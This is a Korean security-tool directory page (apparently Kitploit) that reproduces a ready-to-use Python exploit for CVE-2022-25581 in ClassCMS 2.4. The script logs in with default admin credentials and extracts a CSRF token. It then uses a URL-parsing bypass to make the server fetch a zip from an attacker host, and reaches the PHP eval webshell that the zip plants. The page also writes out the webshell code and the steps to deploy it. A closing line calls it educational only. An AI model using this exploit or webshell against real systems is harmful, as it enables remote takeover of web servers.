Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-25581 — Python 익스플로잇 스크립트 (CVE-2022-25581, ClassCMS 2.4 임의 파일 다운로드)로, 로그인, CSRF 토큰 추출, 웹쉘이 포함된 악성 zip 업로드, URL 파싱 우회를 통한 원격 셸 액세스를 자동화합니다. | Kitploit
도구/GitHubGitHub/wooluo/cve-2022-25581
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubwooluo/cve-2022-25581

CVE-2022-25581

Python 익스플로잇 스크립트 (CVE-2022-25581, ClassCMS 2.4 임의 파일 다운로드)로, 로그인, CSRF 토큰 추출, 웹쉘이 포함된 악성 zip 업로드, URL 파싱 우회를 통한 원격 셸 액세스를 자동화합니다.

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-25581

전체 인터넷에서 찾을 수 없어 백업을 남깁니다. Python 공격 스크립트로, 다음 단계를 자동으로 수행합니다:


✅ 스크립트 기능 목표

  1. 관리자 페이지 로그인 (csrf 및 token 획득)
  2. 악의적인 요청 패킷을 구성하여 압축 파일 업로드 (webshell 포함)
  3. 업로드된 webshell에 접근하여 제어 권한 획득 (GET shell)

🧾 사전 조건

  • 대상 환경: ClassCMS 2.4
  • 웹 서버: PHP 5.5 + MySQL
  • 공격자는 접근 가능한 HTTP 서버 보유 ( shell.zip 호스팅 용)
  • 알려진 관리자 경로 (예: /admin666)
  • 관리자 계정/비밀번호: admin/admin

🔒 취약점 이용 원리 복습

이 임의 파일 다운로드 취약점의 핵심은 다음과 같은 특수 형식의 URL을 구성하는 것입니다:

root@kitploit:~
http://@<ip>:[email protected]/shell.zip

PHP의 parse_url()과 curl이 URL을 해석하는 방식의 차이를 이용하여 host 화이트리스트 검증을 우회합니다.


🐍 Python 공격 스크립트

root@kitploit:~
import requests
from bs4 import BeautifulSoup

# =============== 설정 정보 ===============
target_url = "http://192.168.12.144"
admin_path = "/admin666"  # 관리자 경로
login_url = f"{target_url}{admin_path}?do=login"

download_url = f"{target_url}{admin_path}?do=shop:downloadClass&ajax=1"

# 공격자 서버 주소 (대상에서 접근 가능해야 함)
attacker_ip = "192.168.12.144"
attacker_port = 80
shell_zip_url = f"http://@{attacker_ip}:{attacker_port}@classcms.com/shell.zip"

# webshell 파일명
webshell_name = "shell.php"
webshell_path = f"{target_url}/class/shell/{webshell_name}"

# 로그인 자격 증명
username = "admin"
password = "admin"

# ========================================

# 세션 설정 (쿠키 유지)
session = requests.Session()

# ================ Step 1: 관리자 로그인 ================
def login():
    print("[*] 관리자 페이지 로그인 중...")
    data = {
        "username": username,
        "password": password
    }
    res = session.post(login_url, data=data)
    if "로그아웃" in res.text:
        print("[+] 로그인 성공!")
        return True
    else:
        print("[-] 로그인 실패. 사용자명/비밀번호 또는 관리자 경로를 확인하세요.")
        return False

# ================ Step 2: csrf 토큰 획득 ================
def get_csrf():
    url = f"{target_url}{admin_path}?do=shop:index&action=detail&classhash=debugswitch"
    res = session.get(url)
    soup = BeautifulSoup(res.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'csrf'})
    if csrf_input:
        return csrf_input['value']
    else:
        print("[-] csrf 토큰 추출 실패!")
        return None

# ================ Step 3: 압축 파일 업로드 및 해제 ================
def upload_shell(csrf_token):
    print(f"[*] {shell_zip_url} 업로드 중...")

    payload = {
        "classhash": "shell",
        "url": shell_zip_url,
        "csrf": csrf_token
    }

    headers = {
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
    }

    res = session.post(download_url, data=payload, headers=headers)

    if res.status_code == 200 and "다운로드 완료" in res.text:
        print("[+] 업로드 성공!")
        return True
    else:
        print("[-] 업로드 실패, 응답 내용:", res.text)
        return False

# ================ Step 4: webshell 접근 시도 ================
def check_webshell():
    print(f"[*] webshell 접근 시도 중: {webshell_path}")
    try:
        res = session.get(webshell_path, timeout=5)
        if res.status_code == 200:
            print("[+] webshell 접근 성공, 이제 Cknife/AntSword로 연결 가능합니다!")
            print(f"[+] 주소: {webshell_path}")
        else:
            print("[-] webshell을 찾을 수 없거나 실행되지 않았습니다.")
    except Exception as e:
        print("[-] 연결 오류:", str(e))

# ================ 메인 함수 ================
if __name__ == "__main__":
    if login():
        csrf = get_csrf()
        if csrf:
            if upload_shell(csrf):
                check_webshell()

📁 shell.zip 파일 제작 방법

  1. shell.php 파일을 다음과 같이 생성:

    root@kitploit:~
    <?php @eval($_POST['cmd']); ?>
    
  2. shell.zip으로 압축. 루트 디렉터리에 shell.php가 바로 포함되도록 합니다.

  3. 공격자 서버에 두고 다음 URL로 접근 가능해야 함:

    root@kitploit:~
    http://192.168.12.144/shell.zip
    

🛠️ 사용 방법

  1. 의존성 설치:
root@kitploit:~
pip install requests beautifulsoup4
  1. 스크립트 내 IP, 포트, 경로 등 설정 항목 수정.
  2. 공격자 서버에서 HTTP 서비스를 시작하여 shell.zip 다운로드 제공.
  3. 스크립트 실행:
root@kitploit:~
python exploit_classcms.py

📌 주의 사항

  • 공격자 서버의 80번 포트가 열려 있고 shell.zip이 정상적으로 다운로드 가능해야 합니다.
  • 대상 관리자 경로가 다르면 admin_path를 수정하세요.
  • CSRF 검증 실패 시 패킷을 재분석하여 토큰이 갱신되었는지 확인하세요.
  • 이 스크립트는 교육/연구 목적으로만 사용되며, 불법 침입에 사용하지 마세요!

도구 다운로드